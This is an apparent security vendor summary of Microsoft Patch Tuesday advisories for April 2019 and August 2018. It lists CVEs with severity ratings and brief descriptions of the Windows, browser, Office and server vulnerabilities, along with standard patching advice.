Win32k Information Disclosure Vulnerability (CVE-2019-0814) MS Rating: Important
An information disclosure vulnerability exists when the Win32k component fails to properly provide kernel information. An attacker can exploit this issue to obtain information to further compromise the user's system. Successful exploitation of this vulnerability requires an attacker to log on to an affected system and run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0840) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system. Successful exploitation of this vulnerability requires an attacker to log on to an affected system and run a specially crafted application.
Win32k Information Disclosure Vulnerability (CVE-2019-0848) MS Rating: Important
An information disclosure vulnerability exists when the Win32k component fails to properly provide kernel information. An attacker can exploit this issue to obtain information to further compromise the user's system. Successful exploitation of this vulnerability requires an attacker to log on to an affected system and run a specially crafted application.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0844) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system. Successful exploitation of this vulnerability requires an attacker to log on to an affected system and run a specially crafted application.
Cumulative Security Update for Microsoft Windows
SMB Server Elevation of Privilege Vulnerability (CVE-2019-0786) MS Rating: Critical
A privilege escalation vulnerability exists in the Microsoft Server Message Block (SMB) Server when an attacker with valid credentials attempts to open a specially crafted file over the SMB protocol on the same machine. An attacker can exploit this vulnerability to bypass certain security checks in the operating system.
Windows IOleCvt Interface Remote Code Execution Vulnerability (CVE-2019-0845) MS Rating: Critical
A remote code execution vulnerability exists when the IOleCvt interface renders ASP web page content. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of this vulnerability requires an attacker to host a specially crafted website designed to render malicious ASP pages through a web browser.
Windows Admin Center Elevation of Privilege Vulnerability (CVE-2019-0813) MS Rating: Important
A privilege escalation vulnerability exists when Windows Admin Center improperly impersonates operations in certain situations. An attacker can exploit this vulnerability to gain elevated privileges.
Windows Security Feature Bypass Vulnerability (CVE-2019-0732) MS Rating: Important
A security bypass vulnerability exists in Windows because Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to circumvent a User Mode Code Integrity (UMCI) policy on the machine to bypass Device Guard. Successful exploitation of this vulnerability requires an attacker to first access the local machine, and then run a malicious program.
Windows TCP/IP Information Disclosure Vulnerability (CVE-2019-0688) MS Rating: Important
An information disclosure vulnerability exists when the Windows TCP/IP stack fails to properly handle fragmented IP packets. An attacker can exploit this vulnerability to obtain information to further compromise the user's system. Successful exploitation of this vulnerability requires an attacker to send specially crafted fragmented IP packets to a remote Windows computer.
DirectX Information Disclosure Vulnerability (CVE-2019-0837) MS Rating: Important
An information disclosure vulnerability exists when DirectX fails to properly handle objects in memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system. An authenticated attacker can exploit this vulnerability by running a specially crafted application.
Windows Information Disclosure Vulnerability (CVE-2019-0838) MS Rating: Important
An information disclosure vulnerability exists when Windows Task Scheduler improperly discloses credentials to Windows Credential Manager. An attacker can exploit this vulnerability to obtain information to further compromise the user's system.
Windows Information Disclosure Vulnerability (CVE-2019-0839) MS Rating: Important
An information disclosure vulnerability exists when the Terminal Services component improperly discloses the contents of its memory. An attacker can exploit this vulnerability to obtain information to further compromise a user's system. Successful exploitation of this vulnerability requires an attacker to log on to an affected system and run a specially crafted application.
NTFS Elevation of Privilege Vulnerability (CVE-2019-0841) MS Rating: Important
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) fails to properly handle hard links. An attacker can exploit this vulnerability to run processes in an elevated context. An attacker could then install programs and view, change, or delete data. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control of an affected system.
Windows Remote Code Execution Vulnerability (CVE-2019-0856) MS Rating: Important
A remote code execution vulnerability exists when Windows fails to properly handle objects in memory. An attacker who successfully exploits these vulnerabilities could take control of an affected system. Successful exploitation of the vulnerabilities require an attacker to first log on to the target system and then run a specially crafted application.
Windows CSRSS Elevation of Privilege Vulnerability (CVE-2019-0735) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Client Server Run-Time Subsystem (CSRSS) fails to properly handle objects in memory. An attacker can exploit this vulnerability to run arbitrary code.
Security Update for Microsoft XML Core Services
MS XML Remote Code Execution Vulnerability (CVE-2019-0791) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of the vulnerability requires an attacker to host a specially crafted website designed to invoke MSXML through a web browser.
MS XML Remote Code Execution Vulnerability (CVE-2019-0792) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of the vulnerability requires an attacker to host a specially crafted website designed to invoke MSXML through a web browser.
MS XML Remote Code Execution Vulnerability (CVE-2019-0793) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of the vulnerability requires an attacker to host a specially crafted website designed to invoke MSXML through a web browser.
MS XML Remote Code Execution Vulnerability (CVE-2019-0790) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of the vulnerability requires an attacker to host a specially crafted website designed to invoke MSXML through a web browser.
MS XML Remote Code Execution Vulnerability (CVE-2019-0795) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker can exploit this vulnerability to run malicious code remotely to take control of the user's system. Successful exploitation of the vulnerability requires an attacker to host a specially crafted website designed to invoke MSXML through a web browser.
Security Update for Windows Graphics Device Interface (GDI)
GDI+ Remote Code Execution Vulnerability (CVE-2019-0853) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker can exploit this vulnerability to take control of the affected system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0802) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system. An attacker can exploit this vulnerability by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0849) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this vulnerability to obtain information to further compromise the user's system. An attacker can exploit this vulnerability by convincing a user to open a specially crafted document, or by convincing a user to visit an untrusted webpage.
Microsoft Graphics Components Remote Code Execution Vulnerability (CVE-2019-0822) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a target system. Successful exploitation of this vulnerability requires an attacker to open a specially crafted file.
Security Update for Windows LUA File Virtualization Filter Driver (Luafv.sys)
Windows LUAFV Elevation of Privilege Vulnerability (CVE-2019-0730) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to run arbitrary code in the security context of the local system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control over an affected system.
Windows LUAFV Elevation of Privilege Vulnerability (CVE-2019-0731) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to run arbitrary code in the security context of the local system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control over an affected system.
Windows LUAFV Elevation of Privilege Vulnerability (CVE-2019-0796) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to run arbitrary code in the security context of the local system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control over an affected system.
Windows LUAFV Elevation of Privilege Vulnerability (CVE-2019-0805) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to run arbitrary code in the security context of the local system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control over an affected system.
Windows LUAFV Elevation of Privilege Vulnerability (CVE-2019-0836) MS Rating: Important
A privilege escalation vulnerability exists when Windows fails to properly handle calls to the LUAFV driver (luafv.sys). An attacker can exploit this vulnerability to run arbitrary code in the security context of the local system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Successful exploitation of this vulnerability requires an attacker to first log on to the system. An attacker could then run a specially crafted application that can exploit this vulnerability and take control over an affected system.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0846) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0847) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0851) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0877) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0879) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine fails to properly handle objects in memory. An attacker can exploit this vulnerability to execute arbitrary code on a victim system. An attacker can exploit this vulnerability by enticing a victim to open a specially crafted file.
Security Update for Azure DevOps Server and Team Foundation Server
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0866) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0867) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0868) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0870) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0871) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server Elevation of Privilege Vulnerability (CVE-2019-0875) MS Rating: Important
A privilege escalation vulnerability exists when Azure DevOps Server 2019 does not properly enforce project permissions. An attacker can exploit this issue to add GitHub repos to a project without having the proper access granted to their account.
Azure DevOps Server Cross-site Scripting Vulnerability (CVE-2019-0874) MS Rating: Important
A cross-site scripting vulnerability exists when Azure DevOps Server does not properly sanitize user provided input. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server Spoofing Vulnerability (CVE-2019-0857) MS Rating: Important
A spoofing vulnerability that could allow a security bypass exists in Azure DevOps Server when it does not properly sanitize user-provided input. An attacker who exploits the vulnerability could trick a user into loading a page containing malicious content. An authenticated attacker can exploit this vulnerability by sending a specially crafted payload to the Team Foundation Server, which would get executed in the context of the user every time a user visits the compromised page. To exploit the bypass, an attacker can leverage any external source in the script-src to embed malicious script by bypassing Content Security Policy (CSP).
Azure DevOps Server HTML Injection Vulnerability (CVE-2019-0869) MS Rating: Important
A spoofing vulnerability exists in Microsoft Azure DevOps Server when it fails to properly handle web requests. An attacker can exploit this vulnerability to perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information. An attacker could also redirect the user to a malicious website that could spoof content or the vulnerability could be used as a pivot to chain an attack with other vulnerabilities in web services. Successful exploitation of this vulnerability requires an attacker to create a popup to harvest information or present a user with a malicious link.
Security Update for Microsoft ASP.NET
ASP.NET Core Denial of Service Vulnerability (CVE-2019-0815) MS Rating: Important
A denial of service (DoS) vulnerability exists when ASP.NET Core fails to properly handle web requests. An attacker can exploit this vulnerability to cause a denial of service against an ASP.NET Core web application. The vulnerability can be exploited remotely, without authentication. A remote unauthenticated attacker can exploit this vulnerability by issuing specially crafted requests to the .NET Core application.
Security Update for Open Enclave Software Development Kit
Open Enclave SDK Information Disclosure Vulnerability (CVE-2019-0876) MS Rating: Important
An information disclosure vulnerability exists when affected Open Enclave SDK versions improperly handle objects in memory. An attacker can exploit this vulnerability to obtain information stored in the Enclave. Successful exploitation of this vulnerability requires an attacker to successfully compromise the host application running the enclave. The attacker can then pivot to the enclave and exploit this vulnerability without user interaction.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – August 2018
This month the vendor has patched 60 vulnerabilities, 20 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the August 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
.NET Framework
Microsoft Windows
Device Guard Code
ChakraCore
Microsoft Exchange Server
Microsoft SQL Server
Visual Studio
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8266) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8371) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8372) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8373) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8355) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Information Disclosure Vulnerability (CVE-2018-8359) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8380) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8381) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8384) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8385) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8387) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8390) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Browser Memory Corruption Vulnerability (CVE-2018-8403) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8377) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Remote Code Execution Vulnerability (CVE-2018-8316) MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly validates hyperlinks before loading executable libraries. An attacker who successfully exploited this vulnerability could take control of an affected system. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8351) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Edge Fetch API incorrectly handles a filtered response type. An attacker could use the vulnerability to read the URL of a cross-origin request. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8353) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Privilege Escalation Vulnerability (CVE-2018-8357) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft browsers allowing sandbox escape. An attacker who successfully exploited the vulnerability could use the sandbox escape to elevate privileges on an affected system. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8358) MS Rating: Important
A security bypass vulnerability exists when Microsoft browsers improperly handle redirect requests. The vulnerability allows Microsoft browsers to bypass CORS redirect restrictions, and to follow redirect requests that should otherwise be ignored. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8370) MS Rating: Important
An information disclosure vulnerability exists when WebAudio Library improperly handles audio requests. An attacker who has successfully exploited this vulnerability might be able to read privileged data across trust boundaries. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Spoofing Vulnerability (CVE-2018-8383) MS Rating: Important
A spoofing vulnerability exists when Microsoft Edge does not properly parse HTTP content. An attacker who successfully exploited this vulnerability could trick a user by redirecting the user to a specially crafted website. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2018-8388) MS Rating: Low
A spoofing vulnerability exists when Microsoft Edge improperly handles specific HTML content. An attacker who successfully exploited this vulnerability could trick a user into believing that the user was on a legitimate website. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8389) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Exchange Memory Corruption Vulnerability (CVE-2018-8302) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the System user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8375) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft PowerPoint Remote Code Execution Vulnerability (CVE-2018-8376) MS Rating: Important
A remote code execution vulnerability exists in Microsoft PowerPoint software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Information Disclosure Vulnerability (CVE-2018-8378) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Office software reads out of bound memory due to an uninitialized variable, which could disclose the contents of memory. An attacker who successfully exploited the vulnerability could view out of bound memory.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8379) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8382) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft Exchange Server Tampering Vulnerability (CVE-2018-8374) MS Rating: Moderate
A tampering vulnerability exists when Microsoft Exchange Server fails to properly handle profile data. An attacker who successfully exploited this vulnerability could modify a targeted user's profile data.
Cumulative Security Update for Microsoft .NET Framework
.NET Framework Information Disclosure Vulnerability (CVE-2018-8360) MS Rating: Important
An information disclosure vulnerability exists in Microsoft .NET Framework that could allow an attacker to access information in multi-tenant environments. This issue may cause when .NET Framework is used in high-load/high-density network connections where content from one stream can blend into another stream.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Privilege Escalation Vulnerability (CVE-2018-8347) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when the Windows kernel fails to properly handle parsing of certain symbolic links. An attacker who successfully exploited this vulnerability could potentially access privileged registry keys and thereby elevate permissions.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8348) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2018-8399) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2018-8404) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Microsoft SQL Server Remote Code Execution Vulnerability (CVE-2018-8273) MS Rating: Critical
A buffer overflow vulnerability exists in the Microsoft SQL Server that could allow remote code execution on an affected system. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account.
Microsoft Graphics Remote Code Execution Vulnerability (CVE-2018-8344) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited the vulnerability could take control of the affected system.
LNK Remote Code Execution Vulnerability (CVE-2018-8345) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a '.LNK' file is processed. An attacker who successfully exploited this vulnerability could gain the same user rights as the local user.
Windows PDF Remote Code Execution Vulnerability (CVE-2018-8350) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Windows PDF Library improperly handles objects in memory. The vulnerability could corrupt memory in a way that enables an attacker to execute arbitrary code in the context of the current user.
GDI+ Remote Code Execution Vulnerability (CVE-2018-8397) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Diagnostic Hub Standard Collector Privilege Escalation Vulnerability (CVE-2018-0952) MS Rating: Important
A privilege escalation vulnerability exists when Diagnostics Hub Standard Collector allows file creation in arbitrary locations. To exploit the vulnerability, an attacker would first have to log on to the system.
Cortana Privilege Escalation Vulnerability (CVE-2018-8253) MS Rating: Important
A privilege escalation vulnerability exists when Cortana allows arbitrary website browsing on the lockscreen. An attacker who successfully exploited the vulnerability could steal browser stored passwords or log on to websites as another user.
Windows Installer Privilege Escalation Vulnerability (CVE-2018-8339) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior. A locally authenticated attacker could run arbitrary code with elevated system privileges.
ADFS Security Bypass Vulnerability (CVE-2018-8340) MS Rating: Important
A security bypass vulnerability exists when Active Directory Federation Services (AD FS) improperly handles multi-factor authentication requests. To exploit this vulnerability, an attacker could send a specially crafted authentication request.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8341) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows NDIS Privilege Escalation Vulnerability (CVE-2018-8342) MS Rating: Important
A privilege escalation vulnerability exists in the Network Driver Interface Specification (NDIS) when 'ndis.sys' fails to check the length of a buffer prior to copying memory to it.
Windows NDIS Privilege Escalation Vulnerability (CVE-2018-8343) MS Rating: Important
A privilege escalation vulnerability exists in the Network Driver Interface Specification (NDIS) when 'ndis.sys' fails to check the length of a buffer prior to copying memory to it.
LNK Remote Code Execution Vulnerability (CVE-2018-8346) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a '.LNK' file is processed. An attacker who successfully exploited this vulnerability could gain the same user rights as the local user.
Microsoft COM for Windows Remote Code Execution Vulnerability (CVE-2018-8349) MS Rating: Important
A remote code execution vulnerability exists in Microsoft COM for Windows when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8394) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8396) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8398) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8400) MS Rating: Important
A privilege escalation vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8401) MS Rating: Important
A privilege escalation vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8405) MS Rating: Important
A privilege escalation vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8406) MS Rating: Important
